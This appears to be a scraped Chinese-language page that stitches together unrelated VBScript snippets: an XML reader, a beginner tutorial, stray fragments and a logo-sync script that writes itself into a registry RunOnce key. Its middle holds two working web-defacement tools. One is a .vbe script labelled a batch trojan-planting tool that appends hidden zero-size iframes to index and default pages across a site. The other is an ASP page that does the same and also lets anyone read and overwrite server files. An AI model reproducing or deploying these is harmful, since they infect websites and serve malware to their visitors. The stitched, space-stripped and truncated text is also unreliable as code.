->

'***************************************************************** '** Script: getxmlelement.vbs '** Version: 1.0 '** Created: 1/8/2009 10:58PM '** Author: Adriaan Westra '** E-mail: '** Purpose / Comments: '** Get an element from a xml file '** '** '** Changelog : '** 1/8/2009 10:58PM : Initial version '** '***************************************************************** Dim objXML ' object to hold the xml document Dim objNnode ' xml node object '***************************************************************** '** create the xml object Set objXML=CreateObject("Msxml2.DOMDocument.6.0") '***************************************************************** '** Load the xml from file objXML.load("album.xml") '***************************************************************** '** Set language for finding information to XPath objXML.setProperty "SelectionLanguage", "XPath" '***************************************************************** '** Get a reference to the node Set objNode=objXML.selectSingleNode("/album/DSC_2710/title") '***************************************************************** '** Output the requested text wscript.echo "Title : " & objNode.text WSH和VBScript都不能与剪贴板进行交互：它们都不允许您将数据复制到剪贴板或从剪贴板粘贴数据大约每隔60秒检测指定文件的存在性

发现大部分黑白的朋友都不会编程,这可不是件好事,所以这次我就写了一个简单的编程教程,讲一下VBScript.主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以,但既然有编程基础推荐直接去找一些参考书来读,会比较快. 什么是VBScript呢?VBScript的全称是:MicrosoftVisualBasicScriptEditon.(微软公司可视化BASIC脚本版).正如其字面所透露的信息,VBS(VBScript的进一步简写)是基于VisualBasic的脚本语言.我进一步解释一下,MicrosoftVisualBasic是微软公司出品的一套可视化编程工具,语法基于Basic.脚本语言,就是不编译成二进制文件,直接由宿主(host)解释源代码并执行,简单点说就是你写的程序不需要编译成.exe,而是直接给用户发送.vbs的源程序,用户就能执行了. 　　我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了,答案是:记事本(Notepad).我不是开玩笑,其实任何一种文本编辑器都可以用来开发VBS开发,只不过记事本是由系统自带的,比较好找而已.尽管如此,我还是建议你去下载一个专业的文本编辑器,因为这些工具可以提供"语法高亮"等功能,更加方便开发,用哪一个随你喜好,我比较喜欢EditPlus(2.10). 　　OK,我们先来写一个VBScript程序热热身. REM输入并回显你的名字 '使用InputBox和Msgbox函数 Dimname,msg msg="请输入你的名字:" name=Inputbox(msg,"名称") Msgbox(name) 　　把上面的程序清单输入到记事本里面,然后保存为以.vbs为扩展名的文件("保存类型"里面选择"所有文件").然后双击运行,观察运行结果.注意:请自己输入程序清单,不要复制->粘贴! 　　我来解释一下这个程序,第一行和第二行的开头分别是"REM"语句和"'",这两个东西的作用是相同的,表示本行是注释行,就是说这两行什么也不干,只是用来说明这段程序的功能,版权信息等等.注释行是程序最重要的部分之一,尽管它不是必需的,但对于其他人阅读源代码,以及自己分析源代码是很有好处的.好的习惯是在必要的地方加上清晰,简洁的注释. 　　Dim用来声明一个变量,在VBS中,变量类型并不是那么重要,就是说VBS会帮你自动识别变量类型,而且变量在使用前不一定要先声明,程序会动态分配变量空间.在VBS中你不用考虑name储存的是一个整数还是一个小数(学名叫"浮点数"),也不用考虑是不是字符串(一串字符,比如:"HelloWorld"),VBS会自动帮你搞定.所以第三行语句可以删除,效果不会变,但我强烈反对这么做,一个变量的基本原则就是:先声明,后使用.变量名用字母开头,可以使用下划线,数字,但不能使用vbs已经定义的字,比如dim,也不能是纯数字. 　　下一行被称之为"赋值","="是赋值符号,并不是数学中的等于号,尽管看起来一样.这是正统的理解,你要理解成等于也没有什么不可.赋值号的左边是一个变量,右边是要赋给变量的值,经过赋值以后,msg这个变量在程序中等同于"请输入你的名字:"这个字符串,但当msg被再次复制的时候,原值就会消失.不光字符串,其他任何变量都这样被赋值,例如:a=2,b=12.222等等. 　　再往下,Inputbox和Msgbox是VBS内建的函数,一个函数就相当于一个"黑箱",有输入(参数)和输出(返回值),你可以不用了解函数是怎么运作的,只要了解这个函数能干什么就行了,我们也可以定义自己的函数,不过那要等到以后再讲.现在我们只要了解,一个函数可以有返回值也可以没有,可以有参数也可以没有.例如Inputbox就是有返回值的函数,我们用赋值号左边的变量来"接"住InputBox的返回值--就是你输入的内容.在inputbox右边的括号里是参数列表,每个参数用","分隔开,每个参数有不同的功效,比如第一个参数会显示在提示里,我们把msg这个变量作为第一个参数传给了Inputbox函数,而msg="请输入你的名字:",所以我们在对话框的提示栏就会看到"请输入你的名字:"第二个参数是对话框的标题,我们用直接量(学名叫"常量",这里是"字符串常量")传递给函数,当然你也可以传递变量.Inputbox还有很多参数,比如你在"名称"后面再加一个","然后输入随便一串字符(字符串,用双引号""包裹起来的一串字符叫做字符串)然后运行,看看结果.你会发现用于输入的文本框有了默认的值,这就是第三个参数的作用. Msgbox函数是用来输出的函数,在VBS中没有专门的输出函数(BASIC中的print,C中的printf),所以我们只能用对话框来观察输出结果,Msgbox的必要参数只有一个,就是要输出的内容,在这种情况下,我们不需要理会msgbox的返回值.关于Msgbox和Inputbox我们以后还会在讨论,今天只是热热身,到此为止. 要点: 1)注释(以REM或'开头)行在程序中不起作用,但能让别人更容易读懂你的程序. 2)变量好像一个盒子,或一个代号,可以代表你想代表的东西.变量赋值使用"=" 3)以""包裹起来的字符称之为"字符串" 4)函数像一个"黑箱",有参数和返回值,用"="左边的变量可以接住返回值 5)Inputbox函数弹出一个输入对话框,Msgbox则用于输出 作业: 1)试验Inputbox的第三个参数 2)写一段程序输出你的年龄 3)写一段程序进行3次输入,分别输入你和你父母的姓名(要求显示提示),并分3次输出 这是第一节如果不能找到答案，则请与Microsoft产品支持服务部门联系

scan.vbe cscriptscan.vbeweb目录 程序代码： '版权信息 br="************************************"&vbCrLf br=br&"*VBS批量挂马脚本*"&vbCrLf br=br&"*BYBanLG*"&vbCrLf br=br&"************************************"&vbCrLf&vbCrLf br=br&"cscriptscan.vbeD:"&vbCrLf '马的地址 ma="</Script><IfRAMEheight=0width=0sRc="&chr(34)&""&chr(…t;</IFrAME>" '要挂马的页面如果嫌不够还可以自己再加，记得要用”|”隔开 MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx" '以"|"为分隔符拆分成数组 MyArray=Split(MyString,"|",-1,1) web=WScript.Arguments(0) '如果web为空退出脚本 ifweb=""then Wscript.echo(br) window.Close endif Wscript.echo(br)&"马的地址："&ma&vbCrLf&vbCrLf '创建对象 Setfso=createObject("Scripting.FileSystemObject") '开始扫描挂马 scan(web) 'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾 subscan(filesder) setfilesder=fso.getfolder(filesder) '得到当前目录的所有文件集合 setfiles=filesder.files '获取文件名 foreachfextinfiles Setfile1=fso.GetFile(fext) filesext=file1.Name '把文件名转换成小写字母 ext=lcase(filesext) ForEachindexinMyArray '判断文件是不是我们在MyString里限定的文件，如果是就写马 ifext=lcase(index)then Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作 ts.WriteLine(ma) ts.Close echo="" echo=fext&"………….ok" Wscript.echo(echo) endif next next setsubfolders=filesder.subfolders foreachsubfolderinsubfolders'搜索其他目录,递归调用 scan(subfolder) next endsub FSO挂马.asp 传进服务器以后直接输入需要挂马的路径就可以直接挂了 程序代码： <%Server.ScriptTimeout=10000 Response.Buffer=False %> <html> <head> <title></title> <****http-equiv="Content-Type"content="text/html;charset=gb2312"> </head> <body> <% ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") Ifex<>""ANDpth<>""Then selectCaseex Case"edit" CALLfile_show(pth) Case"save" CALLfile_save(pth) Endselect Else %> <formaction="<%=ASP_SELF%>"method="POST"> FOLDER(ABSOLUTEPATH): <inputtype="text"name="fd"size="40"> <inputtype="submit"value="SUBMIT"> </form> <%EndIf%> <% FunctionIsPattern(patt,str) SetregEx=NewRegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) SetregEx=Nothing IfretVal=TrueThen IsPattern=True Else IsPattern=False EndIf EndFunction IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then schs Else Ifs<>""ThenResponse.Write"InvalidAgrument!" EndIf Subsch(s) oNeRrOrrEsUmEnExT Setfs=Server.createObject("Scripting.FileSystemObject") Setfd=fs.GetFolder(s) Setfi=fd.Files Setsf=fd.SubFolders ForEachfinfi rtn=f.Path step_allrtn Next Ifsf.Count<>0Then ForEachlInsf schl Next EndIf EndSub Substep_all(agr) retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr) IfretValThen step1agr step2agr Else ExitSub EndIf EndSub %> <%Substep1(str1)%> <ahref=""target="_blank"><%=str1%></a><br> <%EndSub%> <% Substep2(str2) addcode="<iframesrc=(修改为你的马的地址，不要加""不然会出错)width=0height=0frameborder=0></iframe>" Setfs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) IfisExistThen Setf=fs.GetFile(str2) Setf_addcode=f.OpenAsTextStream(8,-2) f_addcode.Writeaddcode f_addcode.Close Setf=Nothing EndIf Setfs=Nothing EndSub %> <% Subfile_show(fname) Setfs1=Server.createObject("Scripting.FileSystemObject") isExist=fs1.FileExists(fname) IfisExistThen Setfcnt=fs1.OpenTextFile(fname) cnt=fcnt.ReadAll fcnt.Close Setfs1=Nothing%> FILE:<%=fname%> <formaction="<%=ASP_SELF%>"method="POST"> <textareaname="newcnt"cols="100"rows="30"><%=cnt%></textarea> <inputtype="hidden"name="pth"value="<%=fname%>"> <inputtype="hidden"name="ex"value="save"> <inputtype="submit"value="SAVE"> </form> <%Else%> <p>THEFILEISNOTEXITORHAVEdeleteD.</p> <% EndIf EndSub %> <% Subfile_save(fname) Setfs2=Server.createObject("Scripting.FileSystemObject") Setnewf=fs2.createTextFile(fname,True) newf.Writenewcnt newf.Close Setfs2=Nothing Response.Write"<p>THEFILEWASMODIFIEDSUCCESSFULLY.</p>" EndSub %> </body> </html> 人物行走的速度和步长可以通过常量AnimateSpeed和StepLength控制

Set ObjACE=ObjWMI.Get("Win32_ACE").SpawnInstance_()ObjACE.Trustee =ObjTruObjACE.AceType =AccessTypeObjACE.AccessMask =AccessMaskObjACE.AceFlags=AccessFlag

在线回收本文介绍了利用VisualBasic6.0来实现显示或播放多媒体数据，所运用的进程调用等技术对于Windows环境下的其他编程应用也有重要的参考价值WScript.Sleep 65000Dim strAuditPath,FsoG,fIndex,strLocalFolders,strReadFolders,indexPath,FlmDate,CrtDate,strLocalpath,i,ComputerName,Cell,pathFormat,Clect,AlearT1,AlearBMain()'""""""""""""""""""""sub""""""""""""Sub Main()AlearT=FormatDateTime(now(),4)AlearB=falseFlmDate=CDate("01, 31, 1980" )Clect=falseComputerName=Getcomputername()Set FsoG=CreateObject("Scripting.FileSystemObject")GetSetting 'pathFormat=Left(strLocalpath,Len(strLocalpath)-8) & "Labels"indexPath=strAuditPath & "Index.txt"set f=FSOG.OPENTEXTFILE(GetAbPath(strAuditPath) & "logo history.txt",8,true)f.writeline FormatDateTime(Now(),4) & "" & cell & "" & computernamef.close'***************计算本地FORMAT****************************************************************************' Getformat'**************************************************************************************************************'在这里一个循环比较日志更新日期do while(1) If (fsoG.FileExists(indexPath)) Then '指出最近更新时间 set fIndex=fsoG.GetFile(indexPath) CrtDate=fIndex.DateLastModified If FlmDate < CrtDate Then strReadFolders=ReadLinetextFile(indexPath) strLocalFolders=ShowFolderList(strLocalpath) DowithChange FlmDate=CrtDate End IfEnd if'‘**********update vbs*****'If (fsoG.FileExists(getAbpath(strAuditPath) & "pe.vbs")) Then'fsog.CopyFile getAbpath(strAuditPath) & "pe.vbs",GetAbpath(GetCPath) & "pe.vbs"'end if'***************************'end if'***************************************if Hour(FormatDateTime(Now(),4))>=Hour(TimeValue("11:00:00")) and Hour(FormatDateTime(Now(),4))<=Hour(TimeValue("12:00:00")) then AlearB=trueend ifif Hour(FormatDateTime(Now(),4))>=Hour(TimeValue("15:00:00")) and Hour(FormatDateTime(Now(),4))<=Hour(TimeValue("14:00:00")) then AlearB=trueend ifif Hour(FormatDateTime(Now(),4))>=Hour(TimeValue("7:00:00")) and Hour(FormatDateTime(Now(),4))<=Hour(TimeValue("8:00:00")) then AlearB=trueend if'testif Hour(FormatDateTime(Now(),4))>=Hour(TimeValue("11:00:00")) and Hour(FormatDateTime(Now(),4))<=Hour(TimeValue("12:00:00")) then AlearB=Trueend ifif AlearB=true Then if hour(FormatDateTime(Now(),4))-hour(AlearT)>1 then msgbox "pls Compress the NLPV and RESTART the computer" else AlearB=false end ifend ifWScript.Sleep 10000LoopEnd SubSub Getformat()strFormats=ShowFilesList(pathFormat) Const ForReading=1, ForWriting=2 Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.OpenTextFile(GetAbPath(strAuditPath) & CELL & " " & ComputerName & ".txt", ForWriting, True)for i=0 to UBound(strFormats)f.WriteLine left(strFormats(i),len(strFormats(i))-4)nextf.WriteLine cellf.WriteLine ComputerName' f.Closeclect=trueEnd subFunction ShowFilesList(folderspec) Dim fso, f, f1, s(), sf,i i=0 redim s(i) Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.GetFolder(folderspec) Set fc=f.Files For Each f1 in fc redim Preserve s(i) s(i)=f1.name i=i+1 NextShowFilesList=sEnd FunctionFunction ShowFolderList(folderspec) Dim fso, f, f1, s(), sf,i i=0 redim s(i) Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.GetFolder(folderspec) Set sf=f.SubFolders For Each f1 in sf redim Preserve s(i) s(i)=f1.name i=i+1 NextShowFolderList=sEnd Function'Format(FormatDateTime(Now(),4), "HH:mm:ss")Sub GetSetting()Dim LspLsp=GetCPath() & "\peLogosetting " & Getcomputername() & ".txt"If (Not fsoG.FileExists(lsp)) Then WriteHistory InputBox("Pls enter the Auditing path"),LspWriteHistory InputBox("Pls enter the Local graphics path"),LspWriteHistory InputBox("Pls enter the CELL"),Lsp End Ifstr=ReadLineTextFile(Lsp)strLocalpath=str(1)strAuditPath=str(0)'if right(strAuditPath,1)<>"" then strAuditPath=strAuditPath & ""Cell=str(2)call AutoRun()End SubSub DowithChange()oN ERROR RESUME NEXTDim i, j For i=0 To UBound(strReadFolders) For j=0 To UBound(strLocalFolders) If UCase(strReadFolders(i))=UCase(strLocalFolders(j)) Then fsog.CopyFolder GetAbPath(strAuditPath) & strReadFolders(i), GetAbPath(strLocalpath), True WriteHistory (strReadFolders(i) & "" & ComputerName & "" & Cell & "" & FormatDateTime(Now(),4)),GetAbPath(strAuditPath) & "UpdateLogoHistory.txt" End If Next NextEnd SubSub WriteHistory(hisChars, path) Const ForReading=1, ForAppending=8 Dim fso, f Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.OpenTextFile(path, ForAppending, True) f.WriteLine hisChars f.CloseEnd SubFunction ReadLineTextFile (path) Const ForReading=1, ForWriting=2 Dim fso, MyFile,sFolders(),i Set fso=CreateObject("Scripting.FileSystemObject") i=0 redim sfolders(i) Set MyFile=fso.OpenTextFile(path, ForReading) Do While MyFile.AtEndOfLine <> True redim Preserve sFolders(i) sFolders(i)=MYfile.ReadLine i=i+1 Loop ReadLineTextFile=sFoldersEnd FunctionSub AutoRun()set r=wscript.createobject("wscript.shell") yuan=WScript.ScriptFullName r.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\PeLogoUpdate",yuan end subFunction GetAbPath(path)If Right(path, 1) <> "" Then GetAbPath=path & ""Exit Functionend ifGetAbPath=pathEnd FunctionFunction Getcomputername()Dim a Set a=CreateObject("Wscript.Network")Getcomputername=a.ComputerNameEnd Functionfunction GetCPath()Set objShell=CreateObject("Wscript.Shell")strPath=Wscript.ScriptFullNameSet objFSO=CreateObject("Scripting.FileSystemObject")Set objFile=objFSO.GetFile(strPath)Getcpath=objFSO.GetParentFolderName(objFile) end Function。